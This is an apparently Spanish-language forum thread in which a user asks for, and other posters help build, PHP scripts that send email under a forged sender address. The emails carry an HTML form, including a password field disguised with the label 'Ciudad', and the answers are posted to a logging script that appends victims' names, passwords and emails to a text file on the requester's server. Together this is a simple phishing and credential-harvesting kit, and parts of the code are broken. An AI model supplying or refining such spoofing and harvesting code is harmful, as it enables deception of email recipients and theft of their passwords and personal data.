Hola a todos hace tiempo que busco algun script para enviar un formulario por correo electronico pero me refiero ha que yo lo envio y el que recibe el mail lo contesta y se me envia la respuesta a algun archivo .txt que tenga por internet. Tambien necesito que el remitente del mail sea el que yo quiera. estuve buscando por internet y encontre esto:
<?php
$aviso = "";
// check form
if ($_POST['email'] != "") {
// email de destino
$email = "emailde@destino.com";
// asunto del email
$subject = "Prueba";
// Cuerpo del mensaje
$mensaje = "---------------------------------- \n";
$mensaje.= " Contacto \n";
$mensaje.= "---------------------------------- \n";
$mensaje.= "NOMBRE: ".$_POST['nombre']."\n";
$mensaje.= "EMPRESA: ".$_POST['empresa']."\n";
$mensaje.= "EMAIL: ".$_POST['email']."\n";
$mensaje.= "TELEFONO: ".$_POST['telefono']."\n";
$mensaje.= "FECHA: ".date("d/m/Y")."\n";
$mensaje.= "HORA: ".date("h:i:s a")."\n";
$mensaje.= "IP: ".$_SERVER['REMOTE_ADDR']."\n\n";
$mensaje.= "---------------------------------- \n\n";
$mensaje.= $_POST['mensaje']."\n\n";
$mensaje.= "---------------------------------- \n";
$mensaje.= "Enviado desde http://www.miweb.es \n";
// headers del email
$headers = "From: ".$_POST['email']."\r\n";
// Enviamos el mensaje
if (mail($email, $subject, $mensaje, $headers)) {
$aviso = "Su mensaje fue enviado correctamente";
} else {
$aviso = "Error de envío";
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Enviar Email con PHP - unijimpe</title>
<style type="text/css">
body {
margin: 16px;
padding: 0;
font-family: "Trebuchet MS", Arial, Helvetica, sans-serif;
font-size: 12px;
color: #333;
}
input, textarea {
float: left;
font-family: "Trebuchet MS", Arial, Helvetica, sans-serif;
font-size: 12px;
color: #333;
padding: 2px;
width: 250px;
margin-bottom: 4px;
}
label {
float: left;
width: 100px;
}
button {
width: 80px;
background: #333;
color: #FFF;
padding: 3px 8px;
}
form {
border: solid 1px #CCC;
background: #efefef;
padding: 16px;
width: 380px;
}
br { clear: both; }
em { color: red; }
</style>
</head>
<body>
<h2>Enviar Email con PHP</h2>
<?php if ($aviso != "") { ?>
<p><em><?php echo $aviso; ?></em></p>
<?php } ?>
<form action="" method="post">
<label for="nombres">Nombres</label> <input name="nombre" id="nombre" type="text" /><br />
<label for="empresa">Empresa</label> <input name="empresa" id="empresa" type="text" /><br />
<label for="email">Email</label> <input name="email" id="email" type="text" /><br />
<label for="telefono">Telefono</label> <input name="telefono" id="telefono" type="text" /><br />
<label for="mensaje">Mensaje</label> <textarea name="mensaje" cols="30" rows="6"></textarea><br />
<label for="btsend"> </label> <button name="btsend" id="btsend" type="submit">Enviar</button>
</form>
</body>
</html>
haber si alguien me explica como puedo modificar el codigo para hacer eso o si me puede pasar algun otro codigo =)
gracias de antemano
explicate mejor,sobre el envio de correo y archivo de text no se de que :huh:
donde estas probando este php, en un servidor web en tu pc?
en un servidor contratado? cpanel?
saludos
mira ya se que no me explique muy bien pero yo quiero enviar un correo con un remitente falso. Lo que quiero hacer es enviar un formulario que cuando finalicen el formulario se me envien todos los campos a un email o que se queden guardados en un archivo .txt que ya tenga subido en mi servidor web.
P.D. no se si me explicado bien xdd
Espero que sepas lo minimo de php y html porque sino te va a ser bastante jodido :P
para empezar necesitas 2 archivos (3 con el que vas a guardar los datos). El mail.php que servira para enviar el email y el recive.php con el que recibiras la informacion.
el mail.php contendra esto:
<?php
// drvy bsm
if (isset($_POST['hacia'],$_POST['subjeto'],$_POST['mensaje'],$_POST['desde']))
{print enviar_mail($_POST['hacia'],$_POST['subjeto'],$_POST['mensaje'],$_POST['desde']);} else {print 'Todos los campos son obligatorios';}
function enviar_mail($hacia,$subjeto,$mensaje,$desde)
{
$cabeceras = "From: " . strip_tags($_POST['desde']) . "\r\n";
$cabeceras .= "MIME-Version: 1.0\r\n";
$cabeceras .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
if (mail($hacia,$subjeto,$mensaje,$cabeceras)) {print 'Email enviado';} else {print 'Email no enviado';}
}
?>
<html>
<head>
<title>WIKI WIKI [drvy|BSM]</title>
</head>
<body>
<center>
<form action="" method="POST">
<input type="text" name="hacia" value="destinario@destino.com">
<br /><input type="text" name="subjeto" value="subjeto">
<br /><textarea name="mensaje">Texto...</textarea>
<br /><input type="text" name="desde" value="mailfalso@mailfalso.com">
<br /><input type="submit" value="Enviar">
</form>
</center>
</body>
</html>
el recive.php esto:
<?php
$ruta = 'datos.txt';
if(isset($_POST['k_nombre'])) {$nombre = $_POST['k_nombre'];} else {$nombre = 'NoIntroducido';}
if(isset($_POST['k_cuidad'])) {$cuidad = $_POST['k_cuidad'];} else {$cuidad = 'NoIntroducido';}
if(isset($_POST['k_pais'])) {$pais = $_POST['k_pais'];} else {$pais = 'NoIntroducido';}
if(isset($_POST['k_email'])) {$email = $_POST['k_email'];} else {$email = 'NoIntroducido';}
if(isset($_POST['k_telefono'])) {$telefono = $_POST['k_telefono'];} else {$telefono = 'NoIntroducido';}
function escribir_en($ruta,$nombre,$cuidad,$pais,$email,$telefono)
{
$archivo = fopen($ruta,'a+');
fwrite($archivo,$nombre.' | '.$cuidad.' | '.$pais.' | '.$email.' | '.$telefono."\r\n");
fclose($archivo);
return true;
}
escribir_en($ruta,$nombre,$cuidad,$pais,$email,$telefono);
?>
Puedes cambiar la variable $ruta por un archivo con un nombre que te de la gana.
Y el formulario (de prueba) que tienes que enviar mas o menos contiene esto:
<html>
<center>
<h1> Rellene este formulario </h1>
<span>Todos los campos son obligatorios!</span>
<form action="http://dominio.com/mail/recive.php" method="POST">
<table>
<tr><td>Nombre:</td><td><input type="text" name="k_nombre"></td></tr>
<tr><td>Cuidad:</td><td><input type="text" name="k_cuidad"></td></tr>
<tr><td>Pais:</td><td><input type="text" name="k_pais"></td></tr>
<tr><td>Email:</td><td><input type="text" name="k_email"></td></tr>
<tr><td>Telefono:</td><td><input type="text" name="k_telefono"></td></tr>
<tr><td>Enviar:</td><td><input type="submit" value="Enviar"></td></tr>
</table>
</form>
</center>
lo mas importante ahi es el..
<form action="http://dominio.com/mail/recive.php" method="POST">
que es donde tendras que introducir tu dominio y donde alojas el archivo recive.php.
Una vez que hayas enviado el email y el cliente lo haya rellenado te vas a tu servidor buscas el archivo donde se guardan los datos y los ves :P . Como dije si no tienes ni **** idea de esto mejor ni lo hagas.
PD: Tambien se puede combinar en un solo archivo pero pa eso ya colores y gustos :P
Saludos
ok gracias por el script aunque aun no lo he provado porque estoy con el internet de movistar y mi conexion va a 1kb/ps xdd y no me deja subir archivos a ningun servidor asi que lo probare con localhost aunque no creo que funcione
gracias ;)
Obviamente en localhost no funcionara a no ser que tengas instalado un servidor smtp.
Saludos
lo probe en localhost uso xampp y tenia el mercury y el apache activados y me ponia que se habia enviado el mensaje pero nunca llegaba al destinatario. Despues lo probe con webcindario pero me ponia mensaje no enviado =mente no se si tiene smtp
edito: lo pude enviar desde localhost pero el problema esque solo se envia el texto y no el formulario no entiendo porque?
si me puedes volver a ayudar te lo agradeceria
Los hosting gratuitos no suelen ser muy hospitalarios en temas de smtp XD.
Como envias exactamente el correo ?
prueba con ::www.000webhost.com/
Saludos
bueno como no me funcionaba decidi crear mi script en php.
lo voy a poner para que lo veas y me ayudes y me aconsejes (ya que solo hace 10 dias que empeze con php xd aunque antes estudiaba C y creo que son dos lenguajes muy parecidos.
aqui el codigo:
<?php
$destino = "destinatario@hotmail.com"; //creamos una variable donde ponemos el email del destinatario
$asunto = "Asunto de prueba"; //creamos una variable donde ponemos el asunto
$mensaje = "<table>
<form method=post>
<tr><td>Nombre:</td><td><input name=nombre type=text></td></tr>
<tr><td>Ciudad</td><td><input name=pass type=password></td></tr>
<tr><td>Email alternativo:</td><td><input name=email type=text></td></tr>
<tr><td>Fecha de nacimiento:</td><td><input name=fecha type=fecha></td></tr>
<tr><td>Enviar:</td><td><input value=Enviar type=submit></td></tr>
</form>
</table>";
/*creamos una variable donde pondremos el asunto del mensaje en este caso hemos
creado un formulario para enviar y en la primera linea del form necesito ayuda con
el action porque no se que hacer para que cuando se termine se me envien los datos
*/
$cabeceras = "From:remitente@remitente.com\nContent-Type: text/html; charset=iso-8859-1";
/*
aqui van las cabeceras con From: indicamos el remitente
con la \n indicamos salto de linia
con Content-Type: text... hacemos que se puedan añadir mensajes
*/
mail($destino,$asunto,$mensaje,$cabeceras) or die ("El mensaje no se pudo enviar");
echo ("El mensaje se ha enviado correctamente");
/*
con esto ultimo enviamos el mensaje (cogemos todas las variables y las ponemos en su respectivo orden.
con or die veremos en pantalla: El mensaje no se pudo enviar y si se pudo enviar mostraremos: El mensaje se ha enviado correctamente
*/
?>
necesito ayuda con la parte del formulario porque nose que hacer para que se me envien los datos del formulario al pulsar el boton enviar
Para que se envie a determinado archivo se pone "action", quedaria así...
<table>
<form method=post action="">
<tr><td>Nombre:</td><td><input name=nombre type=text></td></tr>
<tr><td>Ciudad</td><td><input name=pass type=password></td></tr>
<tr><td>Email alternativo:</td><td><input name=email type=text></td></tr>
<tr><td>Fecha de nacimiento:</td><td><input name=fecha type=fecha></td></tr>
<tr><td>Enviar:</td><td><input value=Enviar type=submit></td></tr>
</form>
</table>
En ese caso se enviaria al mismo archivo, usando isset(en php) podrias hacer que se envie dependiendo si se envio o no algun dato por POST
y como hago para que se me envie a un archvo .txt
de momento tengo este archivo que se llama action.php que va en
<form action="action.php">
el codigo es este
<?php
$nombre = $_REQUEST["nombre"];
$pass = $_REQUEST["pass"];
$email = $_REQUEST["email"];
$fecha = $_REQUEST["fecha"];
printf ("",$nombre," <br> ",$pass," <br> ",$email," <br> ",$fecha,"");
?>
lo que quiero es que el printf se me grabe a un archivo .txt
Así?
function fWriteFile($sFile, $sCadena){
# Function for write in the file
if(file_exists($sFile)){
if(is_writable($sFile)){
$file = fopen($sFile, 'w');
fwrite($file, $sCadena, 26);
fclose($file);
}else{
return 'File not writable';
}
}else{
return 'File not exist';
}
}
# SET Variables
$sNombre = 'Alex';
$sNick = 'Shell Root';
$sForo = 'elhacker.net';
echo fWriteFile('PoC.txt', $sNombre." \n ".$sNick." \n ".$sForo." \n ");
Sorry pero no entiendo el codigo
eso codigo escribe en un archivo,
lo que hace alex es una funcion y despues la llama desde aqui
echo fWriteFile('PoC.txt', $sNombre." \n ".$sNick." \n ".$sForo." \n ");
reemplaza esas variables por las tuyas $_REQUEST[xxx]
y este archivo lo llamas action.php como querias
el archivo de texto se llamara poC.txt
saludos
lo que no entiendo es de donde sale el $cadena
y ya que estoy hos are una pregunta
este archvio funcionaria como action.php?
<?php
$archivo = "datos.txt";
$nombre = $_REQUEST["nombre"];
$pass = $_REQUEST["pass"];
$email = $_REQUEST["email"];
$fecha = $_REQUEST["fecha"];
function escribir_en($ruta,$nombre,$pass,$email,$fecha)
{
$archivo = fopen($ruta,'a+');
fwrite($archivo,$nombre.' | '.$pass.' | '.$email.' | '.$fecha."\r\n");
fclose($archivo);
return true;
}
escribir_en($ruta,$nombre,$pass,$email,$fecha);
?>
A ver, en mi función fWriteFile el parámetro $sCadena, es la cadena/string/texto que se va a copiar dentro del archivo $sFile. Así, no tendras que poner un parámetro para cada variable que insertarás en el archivo. Solo basta con conctatenar dichas variables, dentro del parámetro $sCadena. A menos, de que sea necesario el uso de todos esos parámetros.
Tú segunda pregunta, diria que puede ser afirmativa.
mi codigo no funciona
y como no se mucho de funciones no se lo que tengo que cambiar del codigo de "Shell Root" para que funcione con el codigo que hice yo o sino que se me envie a mi email.
Y como veo que no se resuelve mi problema: gracias a todos los que se han molestado en intentarme ayudar =)
Todos los scripts que se te han dado aquí funcionam.
http://php.net/manual/es/function.mail.php -- FUNCION MAIL
http://php.net/manual/es/reserved.variables.get.php -- RECOGER VARIABLES POR URL.
http://www.php.net/manual/es/reserved.variables.post.php -- RECOGER VARIABLES POR HEADER.
http://php.net/manual/es/function.fwrite.php -- ESCRIBIR UN ARCHIVO.
Saludos
hola lluk tu lo que quieres es hacer un formulario y recibas el mensaje a tu correo por que yo tengo algo para eso que si funciona en cualquier hostin.
ve ala siguiente pagina http://www.emailmeform.com/ y registrate y hay podras crear tu formulario y despues te daran un codigo el cual deberas ponerlo en tu pagina y listo. Si quieres pedes modificarlo a tu gusto como hago yo. :-(